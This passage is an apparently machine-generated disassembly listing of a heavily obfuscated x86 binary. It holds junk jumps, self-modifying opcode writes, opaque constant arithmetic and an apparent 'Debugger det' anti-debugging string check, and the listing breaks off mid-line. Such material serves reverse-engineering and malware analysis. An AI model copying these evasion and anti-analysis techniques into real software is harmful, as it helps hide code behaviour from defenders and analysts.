loc_43038B ; --------------------------------------------------------------------------- align 4 locret_42FDC8: ; CODE XREF: fzj3qwht:00432314j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 60Bh, 0D33E9h, 0CA6E900h, 0 dd 5E243487h, 8AFC458Bh, 0FB86E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FDEC: ; CODE XREF: sub_432090:loc_42FCC1j ; DATA XREF: sub_42F4AE+F8o jbe short loc_42FDF2 and al, 8Bh in al, dx push edi loc_42FDF2: ; CODE XREF: sub_432090:loc_42FDECj mov edi, ecx call near ptr dword_42F43C+1Fh ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FDFB: ; CODE XREF: sub_42F4AE+6FCj xchg edx, [esp-0Ch+arg_8] pop edx loc_42FDFF: ; CODE XREF: sub_42F4AE:loc_431EA6j push 75B3917Ch pop edx sub edx, 465D33A5h jmp loc_42FBEB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FE11: ; DATA XREF: sub_42FF6B:loc_42FD40o sub [ebp-1459h], al push offset loc_431446 jmp loc_430C36 ; --------------------------------------------------------------------------- align 2 word_42FE22 dw 0F9F7h ; DATA XREF: sub_42ED87+4o dd 0FBA3800Fh, 0BB53FFFFh, 4300E7h, 0FFF9C3E9h, 0C30000FFh dd 55E90000h, 1 db 0 ; --------------------------------------------------------------------------- locret_42FE41: ; CODE XREF: fzj3qwht:00430191j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42FE43: ; CODE XREF: fzj3qwht:loc_430130j ; sub_42FA52+1EE4j jmp loc_4320C3 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_42F1C9 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: fzj3qwht:004307A8p ; --------------------------------------------------------------------------- xor al, 24h pop esi call ds:dword_42A0C0 ; ExitProcess jmp locret_43201D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_42FE63: ; CODE XREF: sub_431410+Ej ; fzj3qwht:loc_431E94j lea eax, dword_42E868+6 call sub_4322DA add dh, al push es pushf xchg edx, [esp+8+var_8] mov esi, edx pop edx jmp loc_4320F3 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FE7E: ; CODE XREF: sub_42F4AE:loc_42F53Cj pop edx sub edx, 0D7453485h or edx, 4464E393h js near ptr dword_42EC68+26h ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh dd 0E9FD8BF2h, 1064h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_42FE9D: ; CODE XREF: sub_42FF32:loc_4326CEj mov byte ptr [edx], 8Bh pop edx add eax, ebp add eax, 20790CFAh ; END OF FUNCTION CHUNK FOR sub_42FF32 ; --------------------------------------------------------------------------- db 82h, 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] dw 0FFEFh ; --------------------------------------------------------------------------- inc dword ptr [eax] mov ebx, [ecx] jmp loc_430F45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FEB9: ; CODE XREF: sub_431686-233Fj mov byte ptr [ecx], 9Ch pop ecx push esi push 0CD222F4Eh pop esi or esi, 2FECD5AEh jmp loc_43095D ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42FED0 proc near ; CODE XREF: sub_431686:loc_43144Dp xchg edx, [esp+0] pop edx dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jmp near ptr dword_42EA44+0ACh sub_42FED0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42FEE0: ; CODE XREF: fzj3qwht:0043264Fj push offset loc_430092 jmp loc_432430 ; --------------------------------------------------------------------------- align 4 loc_42FEEC: ; CODE XREF: fzj3qwht:00431F7Fj push offset byte_42FA6D jmp locret_430E95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EE90 loc_42FEF6: ; CODE XREF: sub_42EE90+4j xor ebx, 9F2302C0h call sub_42F4AE ; END OF FUNCTION CHUNK FOR sub_42EE90 ; --------------------------------------------------------------------------- db 2 dup(0), 50h ; =============== S U B R O U T I N E ======================================= sub_42FF04 proc near ; CODE XREF: fzj3qwht:004328DFp ; FUNCTION CHUNK AT 0043019F SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf push 0A5760C23h pop eax push esi jmp loc_43019F sub_42FF04 endp ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 6C65F59h, 0F889E98Bh, 0C300FFFFh, 85E90000h, 22h, 0FFFC1AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_42FF32 proc near ; CODE XREF: fzj3qwht:loc_431270p ; fzj3qwht:004316F7j ; FUNCTION CHUNK AT 0042FE9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004326CE SIZE 00000005 BYTES xchg edi, [esp+0] xchg ebx, [esp+0] mov edi, ebx pop ebx jmp loc_4326CE sub_42FF32 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0Fh dd 22E68Dh, 0FB850000h, 12FE9h db 2 dup(0) ; --------------------------------------------------------------------------- locret_42FF52: ; CODE XREF: fzj3qwht:0042EE9Fj retn ; --------------------------------------------------------------------------- db 87h dd 0CB8B241Ch, 240C875Bh, 6859F18Bh, 4304B1h, 0FFEA79E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FF6B proc near ; DATA XREF: sub_4316FE-1D87o var_24 = dword ptr -24h ; FUNCTION CHUNK AT 0042EFB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00431630 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432476 SIZE 0000000D BYTES add esp, 0FFFFFFE0h push edx mov edx, esi xchg edx, [esp+24h+var_24] jmp loc_431630 sub_42FF6B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42FF7C: ; CODE XREF: sub_431167+16BFj jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 81h, 0C0h, 92h dd 5162EF0Ah, 0C87C88Bh, 0E91CE924h, 0FFFFh, 585BD38Bh dd 7710F081h, 0C881DA36h, 0B4728397h, 0D525F081h, 0C59EF60Dh dd 228AE951h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_42FFB2: ; CODE XREF: sub_43098E:loc_430513j call sub_430218 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- db 0 dd 1698E900h, 0C3000000h, 0FA48E900h, 0EEE8FFFFh, 5, 0E90BEFC1h dd 0FFFFF349h, 0E9DA0300h, 1F5Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_42FFDE: ; CODE XREF: fzj3qwht:0042ED34p xchg ebx, [esp] pop ebx add eax, 680AA673h inc ecx add cl, ch fst qword ptr [edi] ; --------------------------------------------------------------------------- db 3 dup(0) dd 0D8FB8100h, 0E9846517h, 0FFFFFF30h, 36E6DD81h, 0EE23B3C6h ; CODE XREF: sub_431F38+35Aj dd 0DA4E9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43000C: ; CODE XREF: sub_42F4AE+1ABBj jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; =============== S U B R O U T I N E ======================================= sub_430011 proc near ; CODE XREF: fzj3qwht:loc_430198p ; fzj3qwht:004317EEj xchg esi, [esp+0] pop esi add edx, 30B98DAFh call sub_43241A jmp nullsub_142 sub_430011 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430025: ; CODE XREF: sub_431167-2246j jmp loc_43281C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- loc_43002C: ; DATA XREF: sub_43060A+8o push 84B15035h pop eax and eax, 73D25872h test eax, 100h jmp loc_4321CF ; --------------------------------------------------------------------------- loc_430043: ; CODE XREF: fzj3qwht:0042F9FFj call loc_430274 add [ebx+30890055h], cl jmp loc_430A01 ; --------------------------------------------------------------------------- align 4 dd 2F8F0F00h, 81000018h, 5AF787C8h, 26BDE9E1h, 0C30000h dd 5B241C87h, 2A916856h, 815E8091h, 0EFB36FCEh, 1C5EE93Fh dd 0 dd 2347880Fh, 0CDC10000h, 9C1C10Dh, 0FFE88DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_430092: ; DATA XREF: fzj3qwht:loc_42FEE0o push ecx push 549F42E7h pop esi sub esi, 0CDB8736Dh test esi, 10h jmp loc_431B81 ; --------------------------------------------------------------------------- align 4 dd 7A8840Fh, 0CAE80000h, 14h, 31870F00h, 0E9000028h, 558h dd 0B993C381h, 8CE9F1D3h, 12h db 0 ; --------------------------------------------------------------------------- loc_4300D1: ; CODE XREF: fzj3qwht:0043133Bj or eax, 9C3DC8D9h xor eax, 3BB45026h add eax, ebp add eax, 7B366111h mov eax, [eax] mov cl, 54h add eax, 0F8458BE0h mov ecx, 0Ah jmp loc_43018B ; --------------------------------------------------------------------------- dd 58D0000h, 4322E8h, 42F50F68h, 470E900h, 0 dd 75E9C23Bh, 0FFFFEDh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 87h dd 0B5E90055h, 14h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430121: ; CODE XREF: sub_42F4AE+32C2j push offset loc_4325F3 jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_43012D: ; CODE XREF: fzj3qwht:0042EFFCj retn ; --------------------------------------------------------------------------- align 10h loc_430130: ; CODE XREF: fzj3qwht:0042F3C6j jbe loc_42FE43 cdq jmp near ptr dword_42EB78+78h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430C13 loc_43013E: ; CODE XREF: sub_430C13:loc_431C41j call sub_430E46 loc_430143: ; DATA XREF: fzj3qwht:00430842o mov edx, [eax] push ebx push 4C281044h pop ebx or ebx, 0F0022C0Ch push offset loc_430A2B jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_430C13 ; --------------------------------------------------------------------------- dd 0EBE95B00h, 0Fh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4309EE loc_430165: ; CODE XREF: sub_4309EE+Cj xchg eax, [esp+0] mov edx, offset byte_432013 jmp near ptr dword_42E8AC+32h ; END OF FUNCTION CHUNK FOR sub_4309EE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_430173: ; CODE XREF: fzj3qwht:loc_4313EBj pushf jmp loc_43140E ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 58880F11h, 0E9000012h, 0FFFFE655h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43018A: ; DATA XREF: sub_4301B7:loc_42FA8Fo popf loc_43018B: ; CODE XREF: fzj3qwht:004300F3j cdq push offset byte_432693 jmp locret_42FE41 ; --------------------------------------------------------------------------- align 4 loc_430198: ; CODE XREF: fzj3qwht:loc_4326D5j call sub_430011 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF04 loc_43019F: ; CODE XREF: sub_42FF04+Cj jmp near ptr dword_42EDF4+15h ; END OF FUNCTION CHUNK FOR sub_42FF04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 0FFFFE6C0h ; =============== S U B R O U T I N E ======================================= sub_4301AC proc near ; DATA XREF: fzj3qwht:0042EDBFo ; FUNCTION CHUNK AT 0042FC85 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00430C2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043138D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004315EA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00431604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431CC5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00431D68 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00431DA4 SIZE 0000002A BYTES push ebx mov ebx, offset byte_4308B9 jmp loc_431D68 sub_4301AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4301B7 proc near ; DATA XREF: sub_42F4AE+116o ; FUNCTION CHUNK AT 0042EA10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042ED0A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042FA8F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FC14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00430EA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043164B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004324AA SIZE 00000005 BYTES add eax, 8C484A52h adc [eax], eax loc_4301BF: ; DATA XREF: fzj3qwht:0042EE31o nop push 0FAE3D3F1h pop ecx and ecx, 66372017h xor ecx, 8104DBC0h jmp loc_4324AA sub_4301B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 xchg edi, [esp] pop edi push 8A6E7AD1h pop eax add eax, 532825A8h call sub_430A5C loc_4301ED: ; CODE XREF: fzj3qwht:loc_431635j mov byte ptr [edx], 8Ah pop edx push 0C0640AD8h pop eax or eax, 0B2196807h jmp loc_430A7B ; --------------------------------------------------------------------------- dw 487h dd 240C8724h, 8159C18Bh, 0E21961C0h, 0E9C50365h, 0FFFFF17Dh ; =============== S U B R O U T I N E ======================================= sub_430218 proc near ; CODE XREF: sub_43098E:loc_42FFB2p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004305FD SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebx, [esp-4+arg_0] mov edx, ebx pop ebx mov dword ptr [ebp-81h], 75626544h mov dword ptr [ebp-7Dh], 72656767h mov dword ptr [ebp-79h], 74656420h jmp loc_4305FD sub_430218 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 0E9007D8Bh, 0FFFFEE2Ch ; --------------------------------------------------------------------------- loc_430248: ; CODE XREF: fzj3qwht:00431ECCj push offset sub_43193B jmp near ptr loc_431976+1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 dword_430254 dd 0FFE5B0E9h ; CODE XREF: fzj3qwht:00431ACEj ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43025A: ; CODE XREF: fzj3qwht:0042FA67j jmp loc_4311A6 ; --------------------------------------------------------------------------- align 10h jno loc_42E8EE pop eax jmp sub_431686 ; --------------------------------------------------------------------------- dd 8D0F0000h, 0D0Ah ; --------------------------------------------------------------------------- loc_430274: ; CODE XREF: fzj3qwht:loc_430043p xchg eax, [esp] pop eax mov byte ptr [eax], 87h pop eax call sub_4313F1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF210h, 0ECFDE900h, 9C00FFFFh, 74454E68h, 0C0815816h dd 105B4972h, 0B710F081h, 0E957330Ch, 0FFFFEB23h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_4302A9: ; CODE XREF: sub_4312D7:loc_42F7B5j pop edi sub eax, 698147CDh and eax, 0E353CA1h xor eax, 0E188CF2Dh jmp loc_431B2E ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4302C3: ; CODE XREF: fzj3qwht:0042FC64j mov eax, edx xchg eax, [esp] push ecx pop edx xchg edx, [esp] push esi jmp loc_432601 ; --------------------------------------------------------------------------- align 4 dd 9D685300h, 0E900430Fh, 21FDh db 0 ; --------------------------------------------------------------------------- loc_4302E1: ; CODE XREF: fzj3qwht:loc_432833j mov byte ptr [esi], 0C3h pop esi push offset loc_432196 jmp near ptr byte_42F6BD+2 ; --------------------------------------------------------------------------- push ecx pushf jmp sub_42F188 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4316FE loc_4302F8: ; CODE XREF: sub_4316FE+10j mov byte ptr [esi], 0FFh pop esi popf xchg edx, [esp-4+arg_0] jmp loc_431965 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430307: ; CODE XREF: fzj3qwht:0042FB8Fj xchg ecx, [esp] pop ecx push ecx mov ecx, esi jmp loc_4319D8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_430315 proc near ; CODE XREF: fzj3qwht:0042EA2Cj ; sub_4301AC:loc_431D68p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov byte ptr [ebx], 8Dh xchg eax, [esp-4+arg_0] jmp loc_42F05F sub_430315 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FF9E800h, 0E9000000h, 0A39h, 0ED15E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_430338: ; CODE XREF: sub_431452-EA5j jge loc_4325F3 jnp loc_42FCE9 add edx, 0A12DD8FBh and eax, 0EDF45F2Fh push offset loc_432322 jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 6800h ; --------------------------------------------------------------------------- mov ss, word ptr [edi] inc ebx add cl, ch nop idiv bh loc_430364: ; DATA XREF: fzj3qwht:loc_42F2E4o inc dword ptr [edi-2DF6DBFCh] jz loc_4311F5 push edx push 0DFA610CAh pop edx jmp loc_43108F ; --------------------------------------------------------------------------- dd 0AABA0000h, 0E90042FFh, 0FFFFFC3Eh ; CODE XREF: fzj3qwht:loc_432061j ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43038B: ; CODE XREF: fzj3qwht:0042FDC1j jmp loc_430E18 ; --------------------------------------------------------------------------- dd 7B680000h, 878B6225h, 0D78B243Ch, 179DE9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4303A4: ; CODE XREF: sub_42FA52+2680j mov byte ptr [eax], 87h pop eax and ebx, 1F990EC4h add ebx, 0E3AAFFBEh jmp loc_43273D ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4303B9: ; CODE XREF: sub_430F48:loc_4327D8j mov byte ptr [edi], 0C3h xchg esi, [esp+0] mov edi, esi pop esi push edi jmp loc_43167B ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- call sub_431F1F add [ebx], cl std mov edx, 3B8BEC23h jmp sub_4312D7 ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add ecx, [ebx+1A68535Bh] jns short loc_430427 db 67h pop ebx jmp loc_431C2C ; --------------------------------------------------------------------------- align 4 loc_4303EC: ; DATA XREF: sub_42F4AE:loc_4325E1o mov byte ptr [ebx], 9Ch pop ebx rol eax, 2 or eax, 114A16D6h push ecx push 34BF00EFh jmp loc_42ED4C ; --------------------------------------------------------------------------- db 0 byte_430405 db 57h, 68h, 0BAh ; DATA XREF: sub_431452+35o dd 87D180A7h, 0FE8B2434h, 8CEF815Eh, 0E988D0A6h, 0FFFFF4FCh db 0 ; =============== S U B R O U T I N E ======================================= sub_43041D proc near ; CODE XREF: fzj3qwht:004316AEp ; FUNCTION CHUNK AT 0042F32C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042F706 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F88A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F922 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004304E8 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043083D SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push ebx push 1E1EC43Bh loc_430427: ; CODE XREF: fzj3qwht:004303E2j pop ebx jmp loc_42F922 sub_43041D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43042F: ; CODE XREF: sub_42F4AE+93j mov byte ptr [esi], 0Fh pop esi add edx, eax rol edx, 3 xor edx, eax jmp loc_43045A ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- jmp loc_432251 ; --------------------------------------------------------------------------- dw 8700h dd 1AD1E9C7h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F1F loc_430450: ; CODE XREF: sub_431F1F:loc_43080Bj push offset dword_430790 jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_431F1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43045A: ; CODE XREF: sub_42F4AE+F8Cj push offset loc_42F14F jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 0CD030000h, 825FC181h, 189AA43h, 0F045F459h, 1BE2E9h db 3 dup(0) byte_43047B db 81h ; DATA XREF: sub_431AED-2C9Ao dd 734A9C0h, 1B3BE802h, 0E9000000h, 0FFFFED4Dh, 3537D381h dd 85E93DA8h db 10h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430497 proc near ; CODE XREF: fzj3qwht:00431A82p xchg edi, [esp+0] pop edi xor edx, 0E4959E5Ch add edx, ebp push esi push 0D5AABFF9h pop esi jmp near ptr loc_430BD0+1 sub_430497 endp ; --------------------------------------------------------------------------- align 10h dd 4FFC6800h, 8158D254h, 0E1F098E0h, 2E6850B5h, 5888F8C0h dd 0F844E881h, 9DE92CF7h, 0FFFFE4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_4304D0: ; CODE XREF: sub_42EFCF+1514j ; sub_42EFCF+17B4j mov byte ptr [esi], 0FFh call sub_42F8A9 loc_4304D8: ; CODE XREF: sub_42FC3B+Dp add [edi+0C872414h], al and al, 8Bh rcr dword ptr [ecx-17h], 1 jle short loc_4304D0 ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_4304E8: ; CODE XREF: sub_43041D:loc_42F922j sub ebx, 76D13B0h and ebx, 0B208DA5Eh sub ebx, 0A57C4284h and ebx, 50F69E62h xor ebx, 5CC2470Dh jmp loc_42F88A ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 4 locret_43050C: ; CODE XREF: fzj3qwht:loc_430AB0j retn ; --------------------------------------------------------------------------- loc_43050D: ; CODE XREF: fzj3qwht:00430D94j jmp loc_4316D6 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_430513: ; CODE XREF: sub_43098E+20j jmp loc_42FFB2 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- dd 0DE5E900h, 0F000000h, 14F78Ch, 0E9EDD100h, 0FFFFEAC2h db 2 dup(0), 99h ; =============== S U B R O U T I N E ======================================= sub_43052F proc near ; CODE XREF: sub_431F5F:loc_431971p ; FUNCTION CHUNK AT 0043058C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004308D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431D1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00431E31 SIZE 0000002A BYTES xchg eax, [esp+0] pop eax mov edx, [eax] or edx, edx jmp loc_431E31 sub_43052F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FA810000h, 9B51C065h, 43DE9h, 0C8C10000h db 0Ch byte_43054D db 87h ; DATA XREF: fzj3qwht:0042E848w dw 2434h byte_430550 db 5Eh ; DATA XREF: fzj3qwht:0042E84Fw byte_430551 db 0Fh ; DATA XREF: fzj3qwht:0042E856w dw 4584h dd 52000001h, 52E9D38Bh, 0Fh, 241CF900h, 0FFF75FE9h, 0B56800FFh dd 68E4C0E9h, 42ED75h, 308E9h, 0C30000h, 0E95F2E87h, 0BE3h dd 36E9EF33h, 1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_43058C: ; CODE XREF: sub_43052F+1927j add eax, 481A04D3h jmp loc_4308D6 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_430598: ; CODE XREF: sub_431452:loc_42EF52j call sub_431C52 add [edi], cl test [esi+0FFFFFDh], ah xchg ebx, ebp and edx, 3E5C0832h jmp loc_430338 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 8100h dd 0F3D438C9h, 2404874Ah, 302C658h, 0E9241C87h, 0FFFFF872h dd 0C35D59h, 1CC5E900h, 51000000h, 0C875955h, 0B12E924h dd 81000000h, 7CF099E0h, 37F08167h, 81B4F1AAh, 0C1D9A4C0h dd 0E8C5037Eh, 220Ch, 2376E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430218 loc_4305FD: ; CODE XREF: sub_430218+22j jmp near ptr dword_42E9A4+51h ; END OF FUNCTION CHUNK FOR sub_430218 ; --------------------------------------------------------------------------- dw 8B00h dd 0F9D4E9CDh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_43060A proc near ; CODE XREF: fzj3qwht:loc_42F912p xchg esi, [esp+0] pop esi mov byte ptr [ebx], 3 pop ebx push offset loc_43002C jmp nullsub_133 sub_43060A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FE188A0Fh, 0E98BFFFFh, 0C5E85A9Ch db 3 dup(0) ; --------------------------------------------------------------------------- loc_43062B: ; CODE XREF: fzj3qwht:0042F1F1j jmp loc_42ED28 ; --------------------------------------------------------------------------- dd 0C28B5000h, 0BA240487h, 4318ECh, 0FFFC48E9h, 0F0000FFh dd 0FFFD0188h, 3C1C1FFh, 800C1F7h, 0F3E90000h, 8100001Dh dd 0F8D268C0h, 2F689DFFh, 0E9004328h, 21C4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430669: ; CODE XREF: sub_42F4AE+3Aj jz near ptr loc_43287D+1 xchg edx, [esp-0Ch+arg_8] pop edx add edx, 0FB569FBFh mov edx, [edx] popf push edx jmp loc_43243C ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0C768h dd 0E9004309h, 0FFFFF304h, 0C300h, 0A92C081h, 36E962EFh dd 16h, 1202E8h, 240C8700h, 8B243487h, 10685ECEh, 0E9000020h dd 0FFFFE2D1h ; --------------------------------------------------------------------------- loc_4306B4: ; CODE XREF: fzj3qwht:00432566j mov byte ptr [ebx], 0FFh pop ebx mov [edx], al dec dword ptr [ebp-10h] xchg eax, ecx inc ebp cld jmp loc_432501 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306C7: ; CODE XREF: fzj3qwht:0042F892j popf xor edx, 41E859D5h loc_4306CE: ; CODE XREF: fzj3qwht:loc_42F883j add esi, 93AF46DDh rol esi, 19h jmp near ptr dword_42EB78+0C2h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306DE: ; CODE XREF: fzj3qwht:loc_431F0Aj and esi, 0EAFE27D3h push offset word_43211E jmp locret_431202 ; --------------------------------------------------------------------------- align 10h loc_4306F0: ; CODE XREF: fzj3qwht:004326E4j xchg esi, [esp] pop esi push ebp mov ebp, edx push offset dword_430800 jmp loc_4318F3 ; --------------------------------------------------------------------------- align 2 dw 5D68h dd 0E90042E9h, 0FFFFE250h, 2012E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_430712: ; CODE XREF: fzj3qwht:00430D2Ej jmp loc_4307AE ; --------------------------------------------------------------------------- align 4 pop ecx xor ecx, 2B1E8752h sub ecx, 9E5F65DAh rol ecx, 1Bh add ecx, 0B1917298h add eax, ecx push esi jmp loc_4309D2 ; --------------------------------------------------------------------------- dw 2300h dd 